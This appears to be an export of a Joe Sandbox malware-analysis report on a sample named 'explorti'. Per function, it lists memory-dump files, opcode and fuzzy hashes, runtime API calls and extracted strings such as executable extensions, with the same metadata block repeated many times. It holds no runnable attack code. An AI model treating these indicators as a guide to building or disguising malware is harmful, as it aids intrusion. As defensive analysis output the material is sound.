Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$6JLUcxtnEx==$Dy==$FAml$UFy=$invalid stoi argument$stoi argument out of range
API String ID: 0-3273830296
Opcode ID: e62847416becdb8b942ae52aad3af631b3649f4001903c9b680f4a4f5b85ba4b
Instruction ID: 4171316acad5db61a343cb4fbb36b394fe1674216c72fcd8d90dec718ef84ba7
Opcode Fuzzy Hash: e62847416becdb8b942ae52aad3af631b3649f4001903c9b680f4a4f5b85ba4b
Instruction Fuzzy Hash: D902E370D00268EFEF16DFA8D846BDE7BB5FF05304F504558E805AB282D7759A84CBA1

Function 00344770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 003447A7
___except_validate_context_record.LIBVCRUNTIME ref: 003447AF
_ValidateLocalCookies.LIBCMT ref: 00344838
__IsNonwritableInCurrentImage.LIBCMT ref: 00344863
_ValidateLocalCookies.LIBCMT ref: 003448B8

Strings

csm, xrefs: 0034484D

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 03d69ee7a1cb5af37502f4f8f3b25be806a73443ff534eec983ba80bfc8e748b
Instruction ID: 1908829f141267609a96cbd5ea963763f16b47f6dac68d21d043970d633a3ce5
Opcode Fuzzy Hash: 03d69ee7a1cb5af37502f4f8f3b25be806a73443ff534eec983ba80bfc8e748b
Instruction Fuzzy Hash: 2E51B334A002489BCF12DF68D885BAE7BF5AF45314F158065E8189F352D732FE45CB90

Function 003470C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0034710B

Strings

.cmd, xrefs: 00347129
.exe, xrefs: 00347118
.com, xrefs: 0034714B
.bat, xrefs: 0034713A

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 1b55dc0cc0d378f2a5e017f12391e1acc07248b756d01757faede7505d56d888
Instruction ID: 08a7ec37a05426d92432c64deffcfeb2b8ca7f332fe4490e925a7e37c186483f
Opcode Fuzzy Hash: 1b55dc0cc0d378f2a5e017f12391e1acc07248b756d01757faede7505d56d888
Instruction Fuzzy Hash: 7A01F53770862626661B641D9C02A7B57D89B82BF472B402BFE44FF3C2EF45FC0281A0

Function 00312E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00312F1F
__Mtx_unlock.LIBCPMT ref: 00312F8C
__Cnd_broadcast.LIBCPMT ref: 00312FA3
__Mtx_unlock.LIBCPMT ref: 003130B5
__Mtx_unlock.LIBCPMT ref: 0031315B

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 3d4bbdb370d4b2859865e8a7bfd3d244fb6c9589be4b9f74cb448daa64963387
Instruction ID: 962afa476d956297c4c89be50613d90bd9dfcf7932fa5547f6ae5f09a25f4404
Opcode Fuzzy Hash: 3d4bbdb370d4b2859865e8a7bfd3d244fb6c9589be4b9f74cb448daa64963387
Instruction Fuzzy Hash: 65A1F0B0A00215AFDB16DF64D845BAAB7F8FF19310F058129E816DB281EB34EA54CB91

Function 00312670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00312806
___std_exception_destroy.LIBVCRUNTIME ref: 003128A0

Strings

P#1, xrefs: 003127BE, 00312899
P#1, xrefs: 00312811

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#1$P#1
API String ID: 2970364248-257667557
Opcode ID: 30123d28fc70b4a50e372106bc59b0c1bb5f501555241bf86d5245e40ae2ff8e
Instruction ID: 5e138f27dc3b68298b0b3501056deb52403a16925e37bcf113238a52e957d273
Opcode Fuzzy Hash: 30123d28fc70b4a50e372106bc59b0c1bb5f501555241bf86d5245e40ae2ff8e
Instruction Fuzzy Hash: 77719371D002589FDB09CFA8D881BDEFBB5EF49310F14811DE805AB285E774A994CBA5

Function 00327870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 0032795C
__Cnd_destroy_in_situ.LIBCPMT ref: 00327968
__Mtx_destroy_in_situ.LIBCPMT ref: 00327971

Strings

@y2, xrefs: 0032794A

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: @y2
API String ID: 4078500453-3119630317
Opcode ID: 25a515ef7a8f752b45548dbc34a70d08d21b9fc737fb20d84fc5a87a75ba8195
Instruction ID: 1c40ce794530258a33928f261c125bc2c7d9b3c2c9f4f8e3e585cc15498dbd54
Opcode Fuzzy Hash: 25a515ef7a8f752b45548dbc34a70d08d21b9fc737fb20d84fc5a87a75ba8195
Instruction Fuzzy Hash: DD31F6B19043149FD722DF64E846A6AB7E8FF15310F10063EE545CB241E771EA94C7A1

Function 00312AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00312B23

Strings

P#1, xrefs: 00312B18
P#1, xrefs: 00312B2E
This function cannot be called on a default constructed task, xrefs: 00312B03

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#1$P#1$This function cannot be called on a default constructed task
API String ID: 2659868963-2524613198
Opcode ID: 533fba605a47fda8b832ff9b77f33f7cde2f92f49632bba1da8e2879fee485da
Instruction ID: 47d188f23b21973189ea5c7feaaf37139cb3ad8d6ee213f5050bb11371a5718c
Opcode Fuzzy Hash: 533fba605a47fda8b832ff9b77f33f7cde2f92f49632bba1da8e2879fee485da
Instruction Fuzzy Hash: 40F0967091030CABC716DF68A84199FBBED9F15300F5081ADF9499B601EB70AA948B95

Function 0034C9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0034CA37

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: 977cfd60a87f7d024ea7ede49818842b2cdde42c5363eb7045826a6e36fdbd51
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: 7FB13832A222459FDB52CF28C881BBEBBE5EF55340F1591AAD845EF341D634AD42CB60

Function 0032BAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0032BAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 0032BB14
_xtime_get.LIBCPMT ref: 0032BB37
__Xtime_diff_to_millis2.LIBCPMT ref: 0032BB43

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 04e1a5724c639889c283cd06f9034f62a1749e3f7cac97f78227c430d6a8025f
Instruction ID: 4e1d7fd5bb65f46b40351d8dc4f68b11984ebe01322ef51afd2a0eac262edf59
Opcode Fuzzy Hash: 04e1a5724c639889c283cd06f9034f62a1749e3f7cac97f78227c430d6a8025f
Instruction Fuzzy Hash: 8C216271E00129AFDF12EFA4EC429BEBBB8FF09710F114065F501AB251DB70AD418BA1

Function 00327040 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 0032726C

Strings

`z2, xrefs: 00327282
@.1, xrefs: 00327250

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: @.1$`z2
API String ID: 3366076730-33582274
Opcode ID: 02f49b4103bfb39542b595dc3b64b4be92212755c398c13b8846185a6eefb842
Instruction ID: a9141c2c6b1180566368514ffe4ac0689b25b23345e555f67f20eefffe7b5e26
Opcode Fuzzy Hash: 02f49b4103bfb39542b595dc3b64b4be92212755c398c13b8846185a6eefb842
Instruction Fuzzy Hash: 95A138B4A01725CFDB22CFA8D98479EBBF0BF48710F198159E819AB351D775AD01CB90

Function 00328E70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

P#1, xrefs: 0031246D
P#1, xrefs: 00312486

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: P#1$P#1
API String ID: 0-257667557
Opcode ID: ee2526487d6c7b8469d2d951883ed64cb1b11cfe5f004aaae6ba8d9c3162f71f
Instruction ID: 435109680e41d73c2500107e75210ea8f4ec51f04033d2e33e3af1c1817137ba
Opcode Fuzzy Hash: ee2526487d6c7b8469d2d951883ed64cb1b11cfe5f004aaae6ba8d9c3162f71f
Instruction Fuzzy Hash: 52511B72A01119ABCB16EF68EC419AEB7E9EF44310F154669F915DF341EB30EE108BD1

Function 0034F21F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0034F263

Strings

`'7, xrefs: 0034F235
8"7, xrefs: 0034F30B

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"7$`'7
API String ID: 3903695350-1517949123
Opcode ID: 42f4d72d358264bda49482bd4cd46dc4fd2b080ac0d7522f75bd248abb335eb7
Instruction ID: acb53dcaa62a9d26e5143e269cc5575e7c4a1bbad796256fe5aff191b5d0b797
Opcode Fuzzy Hash: 42f4d72d358264bda49482bd4cd46dc4fd2b080ac0d7522f75bd248abb335eb7
Instruction Fuzzy Hash: FC315C39A40605AFEB63AF78E945B5A73E9EF04310F194829E44ADF151DF71FC808B21

Function 00313930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00313962
__Mtx_init_in_situ.LIBCPMT ref: 003139A1

Strings

pB1, xrefs: 00313940

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2924320254.0000000000638000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925509899.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2925665377.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_310000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pB1
API String ID: 3366076730-941726975
Opcode ID: 42b0343e48ba535e8ca9f4753388bb5990d64f3e056f5c3ff2c0cb291320f8eb
Instruction ID: 649042837c4d0cbf3cc7a406ecf230e85febac92c7a3a8d39189233e99ececcb
Opcode Fuzzy Hash: 42b0343e48ba535e8ca9f4753388bb5990d64f3e056f5c3ff2c0cb291320f8eb
Instruction Fuzzy Hash: B94136B0501B058FD721CF19C588B9AFBF4FF48315F158619E86A8B341E7B5EA45CB80

Function 00312440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0031247E

Strings

P#1, xrefs: 0031246D
P#1, xrefs: 00312486

Memory Dump Source

Source File: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, Offset: 00310000, based on PE: true

Associated: 00000007.00000002.2918427812.0000000000310000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2918910724.0000000000372000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920075234.0000000000379000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000037B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.00000000005F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000621000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000629000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2920362161.0000000000637000.00000040.00000001.01000000.00000007.sdmpDownload File
